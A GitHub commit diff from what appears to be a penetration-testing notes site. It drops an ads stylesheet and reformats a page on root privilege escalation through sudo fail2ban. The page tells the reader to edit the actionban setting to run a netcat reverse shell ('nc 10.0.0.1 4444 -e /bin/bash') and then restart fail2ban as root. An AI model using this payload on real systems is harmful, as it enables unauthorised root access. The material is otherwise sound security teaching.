Skip to content

Commit

Permalink
updated to the Carbon Cover format
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed Sep 16, 2024
1 parent 8a3cc6a commit 0ae5ea3
Show file tree
Hide file tree
Showing 3 changed files with 30 additions and 117 deletions.
1 change: 0 additions & 1 deletion src/_includes/layouts/base.vto
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,6 @@
{{# <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data: w3.org/svg/2000 http://localhost:8888"> #}}
<link rel="icon" type="image/x-icon" href="/assets/img/favicon.ico">
<link rel="stylesheet" href="/styles.css">
<link rel="stylesheet" href="/css/carbonads.css">
{{ if url.includes("/exploit/") }}
<script type="text/javascript" src="/js/exploit.js"></script>
{{ /if }}
Expand Down
86 changes: 0 additions & 86 deletions src/assets/css/carbonads.css

This file was deleted.

Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ description: Sudo fail2ban command might be vulnerable to privilege escalation (
tags:
- Privilege Escalation
refs:
date: 2023-02-05
date: 2024-09-16
draft: false
---

Expand Down Expand Up @@ -67,47 +67,47 @@ Specifically, insert a payload to one of the following values.

Here update the value of **actionban** which triggers ban on multiple login attempts.

Method 1
- **Method 1**

Copy **iptables-multiport.conf** to the current user's home directory.
Copy **iptables-multiport.conf** to the current user's home directory.

```sh
ls -al /etc/fail2ban/action.d/iptables-multiport.conf
# copy this file into the home directory for editing the content
cp /etc/fail2ban/action.d/iptables-multiport.conf ~
```
Now modify the file.
```sh
ls -al /etc/fail2ban/action.d/iptables-multiport.conf
# copy this file into the home directory for editing the content
cp /etc/fail2ban/action.d/iptables-multiport.conf ~
```
Now modify the file.

```sh
vim ~/iptables-multiport.conf
```
```sh
vim ~/iptables-multiport.conf
```

We insert a reverse shell payload into the **actionban**.
We insert a reverse shell payload into the **actionban**.

```sh
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
```
```sh
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
```

Then move back the config file to the original one.
Then move back the config file to the original one.

```sh
mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
```
```sh
mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
```

Method 2
- **Method 2**

Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files.
Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files.

```sh
# cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local
cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local
```
```sh
# cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local
cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local
```

We insert a reverse shell payload into the **actionban**.
We insert a reverse shell payload into the **actionban**.

```sh
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
```
```sh
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
```

To apply the new configuration, restart it as root.

Expand Down

0 comments on commit 0ae5ea3

Please sign in to comment.